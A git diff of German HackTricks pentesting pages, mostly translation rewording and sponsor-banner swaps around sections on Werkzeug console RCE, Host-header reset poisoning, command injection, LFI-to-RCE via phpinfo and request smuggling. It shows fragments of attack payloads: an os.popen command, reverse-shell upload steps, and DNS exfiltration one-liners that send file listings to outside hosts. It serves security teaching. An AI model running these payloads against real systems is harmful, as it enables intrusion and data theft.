Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbarer Setup für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalte die Perspektive eines Hackers auf deine Webanwendungen, Netzwerke und Cloud
|
||||
|
||||
**Finde und melde kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Nutze unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die dir ermöglichen, Privilegien zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, wodurch deine harte Arbeit in überzeugende Berichte umgewandelt wird.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Console RCE
|
||||
|
||||
Wenn das Debugging aktiv ist, könnten Sie versuchen, auf `/console` zuzugreifen und RCE zu erlangen.
|
||||
Wenn das Debugging aktiv ist, könntest du versuchen, auf `/console` zuzugreifen und RCE zu erlangen.
|
||||
```python
|
||||
__import__('os').popen('whoami').read();
|
||||
```
|
||||
|
@ -43,7 +45,7 @@ The console is locked and needs to be unlocked by entering the PIN.
|
|||
You can find the PIN printed out on the standard output of your
|
||||
shell that runs the server
|
||||
```
|
||||
Eine Nachricht bezüglich des Szenarios "Konsole gesperrt" wird angezeigt, wenn versucht wird, auf die Debug-Schnittstelle von Werkzeug zuzugreifen, was auf die Notwendigkeit eines PINs hinweist, um die Konsole zu entsperren. Es wird vorgeschlagen, den Konsolen-PIN auszunutzen, indem der PIN-Generierungsalgorithmus in der Debug-Initialisierungsdatei von Werkzeug (`__init__.py`) analysiert wird. Der PIN-Generierungsmechanismus kann im [**Werkzeug-Quellcode-Repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) studiert werden, es wird jedoch geraten, den tatsächlichen Servercode über eine Dateitraversal-Sicherheitsanfälligkeit zu beschaffen, um mögliche Versionsunterschiede zu vermeiden.
|
||||
Eine Nachricht bezüglich des Szenarios "Konsole gesperrt" wird angezeigt, wenn versucht wird, auf die Debug-Schnittstelle von Werkzeug zuzugreifen, was auf die Notwendigkeit eines PINs hinweist, um die Konsole zu entsperren. Es wird vorgeschlagen, den Konsolen-PIN auszunutzen, indem der PIN-Generierungsalgorithmus in der Debug-Initialisierungsdatei von Werkzeug (`__init__.py`) analysiert wird. Der Mechanismus zur PIN-Generierung kann im [**Werkzeug-Quellcode-Repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) studiert werden, es wird jedoch geraten, den tatsächlichen Servercode über eine Dateitraversal-Sicherheitsanfälligkeit zu beschaffen, um mögliche Versionsunterschiede zu vermeiden.
|
||||
|
||||
Um den Konsolen-PIN auszunutzen, werden zwei Variablen-Sets benötigt: `probably_public_bits` und `private_bits`:
|
||||
|
||||
|
@ -109,9 +111,9 @@ try:
|
|||
```
|
||||
</details>
|
||||
|
||||
Nach dem Zusammenstellen aller erforderlichen Daten kann das Exploit-Skript ausgeführt werden, um die Werkzeug-Konsole-PIN zu generieren:
|
||||
Nachdem alle notwendigen Daten gesammelt wurden, kann das Exploit-Skript ausgeführt werden, um die Werkzeug-Konsole-PIN zu generieren:
|
||||
|
||||
Nach dem Zusammenstellen aller erforderlichen Daten kann das Exploit-Skript ausgeführt werden, um die Werkzeug-Konsole-PIN zu generieren. Das Skript verwendet die zusammengestellten `probably_public_bits` und `private_bits`, um einen Hash zu erstellen, der dann weiterverarbeitet wird, um die endgültige PIN zu erzeugen. Unten steht der Python-Code zur Ausführung dieses Prozesses:
|
||||
Nachdem alle notwendigen Daten gesammelt wurden, kann das Exploit-Skript ausgeführt werden, um die Werkzeug-Konsole-PIN zu generieren. Das Skript verwendet die zusammengestellten `probably_public_bits` und `private_bits`, um einen Hash zu erstellen, der dann weiterverarbeitet wird, um die endgültige PIN zu erzeugen. Unten steht der Python-Code zur Ausführung dieses Prozesses:
|
||||
```python
|
||||
import hashlib
|
||||
from itertools import chain
|
||||
|
@ -167,7 +169,7 @@ Wenn Sie eine **alte Version** von Werkzeug verwenden, versuchen Sie, den **Hash
|
|||
|
||||
Wie in [**diesem Problem**](https://github.com/pallets/werkzeug/issues/2833) beobachtet, schließt Werkzeug eine Anfrage mit Unicode-Zeichen in den Headern nicht. Und wie in [**diesem Bericht**](https://mizu.re/post/twisty-python) erklärt, kann dies eine CL.0 Request Smuggling-Schwachstelle verursachen.
|
||||
|
||||
Das liegt daran, dass es in Werkzeug möglich ist, einige **Unicode**-Zeichen zu senden, was den Server **zum Absturz** bringen kann. Wenn jedoch die HTTP-Verbindung mit dem Header **`Connection: keep-alive`** erstellt wurde, wird der Body der Anfrage nicht gelesen und die Verbindung bleibt offen, sodass der **Body** der Anfrage als **nächste HTTP-Anfrage** behandelt wird.
|
||||
Das liegt daran, dass es in Werkzeug möglich ist, einige **Unicode**-Zeichen zu senden, was den Server **zum Absturz bringen** kann. Wenn jedoch die HTTP-Verbindung mit dem Header **`Connection: keep-alive`** erstellt wurde, wird der Body der Anfrage nicht gelesen und die Verbindung bleibt offen, sodass der **Body** der Anfrage als **nächste HTTP-Anfrage** behandelt wird.
|
||||
|
||||
## Automatisierte Ausnutzung
|
||||
|
||||
|
@ -182,7 +184,9 @@ Das liegt daran, dass es in Werkzeug möglich ist, einige **Unicode**-Zeichen zu
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbarer Setup für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Netzwerke und Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Privilegien zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,13 +17,15 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führe einen vollständigen Pentest von überall mit 20+ Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalte die Perspektive eines Hackers auf deine Webanwendungen, Netzwerke und Cloud
|
||||
|
||||
**Finde und melde kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Nutze unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die dir erlauben, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die deine harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
### Host-Header
|
||||
|
||||
Mehrmals vertraut das Backend dem **Host-Header**, um einige Aktionen auszuführen. Zum Beispiel könnte es seinen Wert als **Domain zum Senden eines Passwort-Reset** verwenden. Wenn du also eine E-Mail mit einem Link zum Zurücksetzen deines Passworts erhältst, ist die verwendete Domain die, die du im Host-Header angegeben hast. Dann kannst du die Passwortzurücksetzung anderer Benutzer anfordern und die Domain auf eine von dir kontrollierte ändern, um ihre Passwort-Reset-Codes zu stehlen. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
Mehrmals vertraut das Backend dem **Host-Header**, um einige Aktionen auszuführen. Zum Beispiel könnte es seinen Wert als **Domain für das Senden eines Passwort-Reset** verwenden. Wenn du also eine E-Mail mit einem Link zum Zurücksetzen deines Passworts erhältst, ist die verwendete Domain die, die du im Host-Header angegeben hast. Dann kannst du die Passwortzurücksetzung anderer Benutzer anfordern und die Domain auf eine von dir kontrollierte ändern, um ihre Passwort-Reset-Codes zu stehlen. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
{% hint style="warning" %}
|
||||
Beachte, dass es möglich ist, dass du nicht einmal warten musst, bis der Benutzer auf den Link zum Zurücksetzen des Passworts klickt, um das Token zu erhalten, da möglicherweise sogar **Spam-Filter oder andere Zwischengeräte/Bots darauf klicken, um es zu analysieren**.
|
||||
|
@ -32,9 +34,9 @@ Beachte, dass es möglich ist, dass du nicht einmal warten musst, bis der Benutz
|
|||
### Sitzungs-Boolean
|
||||
|
||||
Manchmal, wenn du eine Überprüfung korrekt abschließt, wird das Backend **einfach einen Boolean mit dem Wert "True" zu einem Sicherheitsattribut deiner Sitzung hinzufügen**. Dann wird ein anderer Endpunkt wissen, ob du diese Überprüfung erfolgreich bestanden hast.\
|
||||
Wenn du jedoch die **Überprüfung bestehst** und deine Sitzung diesen "True"-Wert im Sicherheitsattribut erhält, kannst du versuchen, **auf andere Ressourcen zuzugreifen**, die **von demselben Attribut abhängen**, auf die du **keine Berechtigung** haben solltest. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
Wenn du jedoch **die Überprüfung bestehst** und deine Sitzung diesen "True"-Wert im Sicherheitsattribut erhält, kannst du versuchen, **auf andere Ressourcen zuzugreifen**, die **von demselben Attribut abhängen**, auf die du **keine Berechtigungen** haben solltest. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### Registrierungsfunktionalität
|
||||
### Registrierungsfunktion
|
||||
|
||||
Versuche, dich als bereits existierender Benutzer zu registrieren. Versuche auch, äquivalente Zeichen (Punkte, viele Leerzeichen und Unicode) zu verwenden.
|
||||
|
||||
|
@ -55,7 +57,9 @@ Entwickler könnten vergessen, verschiedene Debugging-Optionen in der Produktion
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führe einen vollständigen Pentest von überall mit 20+ Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalte die Perspektive eines Hackers auf deine Webanwendungen, Netzwerke und Cloud
|
||||
|
||||
**Finde und melde kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Nutze unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die dir erlauben, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die deine harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -6,7 +6,7 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,20 +15,21 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Nutze [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection), um einfach **Workflows** zu erstellen und zu **automatisieren**, die von den **fortschrittlichsten** Community-Tools der Welt unterstützt werden.\
|
||||
Erhalte heute Zugang:
|
||||
#### Erhalte die Perspektive eines Hackers auf deine Webanwendungen, Netzwerke und Cloud
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
**Finde und melde kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Nutze unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die dir erlauben, Privilegien zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, wodurch deine harte Arbeit in überzeugende Berichte umgewandelt wird.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Was ist Command Injection?
|
||||
|
||||
Eine **Command Injection** erlaubt es einem Angreifer, beliebige Betriebssystembefehle auf dem Server, der eine Anwendung hostet, auszuführen. Infolgedessen kann die Anwendung und alle ihre Daten vollständig kompromittiert werden. Die Ausführung dieser Befehle ermöglicht es dem Angreifer typischerweise, unbefugten Zugriff oder Kontrolle über die Umgebung der Anwendung und das zugrunde liegende System zu erlangen.
|
||||
Eine **Command Injection** erlaubt die Ausführung beliebiger Betriebssystembefehle durch einen Angreifer auf dem Server, der eine Anwendung hostet. Infolgedessen kann die Anwendung und all ihre Daten vollständig kompromittiert werden. Die Ausführung dieser Befehle ermöglicht es dem Angreifer typischerweise, unbefugten Zugriff oder Kontrolle über die Umgebung der Anwendung und das zugrunde liegende System zu erlangen.
|
||||
|
||||
### Kontext
|
||||
|
||||
Je nachdem, **wo dein Input injiziert wird**, musst du möglicherweise den **zitierten Kontext beenden** (mit `"` oder `'`), bevor die Befehle ausgeführt werden.
|
||||
Je nachdem, **wo dein Input injiziert wird**, musst du möglicherweise den **zitierten Kontext beenden** (unter Verwendung von `"` oder `'`), bevor die Befehle ausgeführt werden.
|
||||
|
||||
## Command Injection/Ausführung
|
||||
```bash
|
||||
|
@ -109,7 +110,7 @@ sys 0m0.000s
|
|||
```
|
||||
### DNS basierte Datenexfiltration
|
||||
|
||||
Basierend auf dem Tool von `https://github.com/HoLyVieR/dnsbin`, das ebenfalls unter dnsbin.zhack.ca gehostet wird.
|
||||
Basierend auf dem Tool von `https://github.com/HoLyVieR/dnsbin`, das auch unter dnsbin.zhack.ca gehostet wird.
|
||||
```
|
||||
1. Go to http://dnsbin.zhack.ca/
|
||||
2. Execute a simple 'ls'
|
||||
|
@ -119,7 +120,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
|||
```
|
||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||
```
|
||||
Online-Tools zur Überprüfung auf DNS-basierte Datenexfiltration:
|
||||
Online-Tools zur Überprüfung von DNS-basierten Datenexfiltration:
|
||||
|
||||
* dnsbin.zhack.ca
|
||||
* pingb.in
|
||||
|
@ -161,10 +162,10 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Nutze [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection), um einfach **Workflows** zu erstellen und zu **automatisieren**, die von den **fortschrittlichsten** Community-Tools der Welt unterstützt werden.\
|
||||
Erhalte heute Zugang:
|
||||
#### Erhalte die Perspektive eines Hackers auf deine Webanwendungen, Netzwerke und Cloud
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
**Finde und melde kritische, ausnutzbare Sicherheitsanfälligkeiten mit echtem Geschäftsauswirkungen.** Nutze unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die dir ermöglichen, Privilegien zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, wodurch deine harte Arbeit in überzeugende Berichte umgewandelt wird.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
|
|
@ -13,6 +13,14 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Erhalte die Perspektive eines Hackers auf deine Webanwendungen, Netzwerke und Cloud
|
||||
|
||||
**Finde und melde kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Nutze unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die dir ermöglichen, Privilegien zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die deine harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
Um diese Schwachstelle auszunutzen, benötigst du: **Eine LFI-Schwachstelle, eine Seite, auf der phpinfo() angezeigt wird, "file\_uploads = on" und der Server muss in das Verzeichnis "/tmp" schreiben können.**
|
||||
|
||||
|
@ -24,15 +32,15 @@ Du musst den Exploit reparieren (ändere **=>** in **=>**). Dazu kannst du Folge
|
|||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
You müssen auch die **payload** zu Beginn des Exploits ändern (zum Beispiel für eine php-rev-shell), die **REQ1** (dies sollte auf die phpinfo-Seite zeigen und das Padding enthalten, d.h.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), und **LFIREQ** (dies sollte auf die LFI-Schwachstelle zeigen, d.h.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Überprüfen Sie das doppelte "%" beim Ausnutzen des Nullzeichens)
|
||||
Du musst auch die **payload** am Anfang des Exploits ändern (zum Beispiel für eine php-rev-shell), die **REQ1** (dies sollte auf die phpinfo-Seite zeigen und das Padding enthalten, d.h.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), und **LFIREQ** (dies sollte auf die LFI-Schwachstelle zeigen, d.h.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Überprüfe das doppelte "%" beim Ausnutzen des Nullzeichens)
|
||||
|
||||
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
|
||||
|
||||
### Theorie
|
||||
|
||||
Wenn Uploads in PHP erlaubt sind und Sie versuchen, eine Datei hochzuladen, wird diese Datei in einem temporären Verzeichnis gespeichert, bis der Server die Anfrage verarbeitet hat, dann wird diese temporäre Datei gelöscht.
|
||||
Wenn Uploads in PHP erlaubt sind und du versuchst, eine Datei hochzuladen, wird diese Datei in einem temporären Verzeichnis gespeichert, bis der Server die Anfrage verarbeitet hat, dann wird diese temporäre Datei gelöscht.
|
||||
|
||||
Wenn Sie dann eine LFI-Schwachstelle im Webserver gefunden haben, können Sie versuchen, den Namen der erstellten temporären Datei zu erraten und eine RCE auszunutzen, indem Sie auf die temporäre Datei zugreifen, bevor sie gelöscht wird.
|
||||
Wenn du also eine LFI-Schwachstelle im Webserver gefunden hast, kannst du versuchen, den Namen der erstellten temporären Datei zu erraten und eine RCE auszunutzen, indem du auf die temporäre Datei zugreifst, bevor sie gelöscht wird.
|
||||
|
||||
In **Windows** werden die Dateien normalerweise in **C:\Windows\temp\php** gespeichert.
|
||||
|
||||
|
@ -40,7 +48,7 @@ In **Linux** war der Name der Datei **zufällig** und befand sich in **/tmp**. D
|
|||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP** verwendet einen Puffer von **4096B** und wenn er **voll** ist, wird er **an den Client gesendet**. Dann kann der Client **eine Menge großer Anfragen senden** (unter Verwendung großer Header), **eine php** Reverse **Shell hochladen**, auf die **erste Rückgabe von phpinfo() warten** (wo der Name der temporären Datei steht) und versuchen, **auf die Temp-Datei zuzugreifen**, bevor der PHP-Server die Datei löscht, indem er eine LFI-Schwachstelle ausnutzt.
|
||||
**PHP** verwendet einen Puffer von **4096B** und wenn er **voll** ist, wird er **an den Client gesendet**. Dann kann der Client **viele große Anfragen senden** (unter Verwendung großer Header), **eine php** Reverse **Shell hochladen**, auf die **erste Rückgabe von phpinfo() warten** (wo der Name der temporären Datei steht) und versuchen, **auf die Temp-Datei zuzugreifen**, bevor der PHP-Server die Datei löscht, indem er eine LFI-Schwachstelle ausnutzt.
|
||||
|
||||
**Python-Skript, um zu versuchen, den Namen zu bruteforcen (wenn die Länge = 6)**
|
||||
```python
|
||||
|
@ -64,17 +72,25 @@ sys.exit(0)
|
|||
|
||||
print('[x] Something went wrong, please try again')
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und nutzen Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,9 +15,17 @@ Lernen & üben Sie GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und Ihre Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Sicherheitsanfälligkeiten mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Was ist
|
||||
|
||||
Diese Schwachstelle tritt auf, wenn eine **Desynchronisation** zwischen **Front-End-Proxys** und dem **Back-End**-Server es einem **Angreifer** ermöglicht, eine HTTP **Anfrage** zu **senden**, die von den **Front-End**-Proxys (Load-Balancer/Reverse-Proxy) als **eine einzige Anfrage** und vom **Back-End**-Server als **2 Anfragen** **interpretiert** wird.\
|
||||
Diese Sicherheitsanfälligkeit tritt auf, wenn eine **Desynchronisation** zwischen **Front-End-Proxys** und dem **Back-End**-Server es einem **Angreifer** ermöglicht, eine HTTP **Anfrage** zu **senden**, die von den **Front-End**-Proxys (Lastenausgleich/Reverse-Proxy) als **eine einzige Anfrage** und vom **Back-End**-Server als **2 Anfragen** **interpretiert** wird.\
|
||||
Dies ermöglicht es einem Benutzer, **die nächste Anfrage zu ändern, die nach seiner** an den Back-End-Server ankommt.
|
||||
|
||||
### Theorie
|
||||
|
@ -28,35 +36,35 @@ Dies ermöglicht es einem Benutzer, **die nächste Anfrage zu ändern, die nach
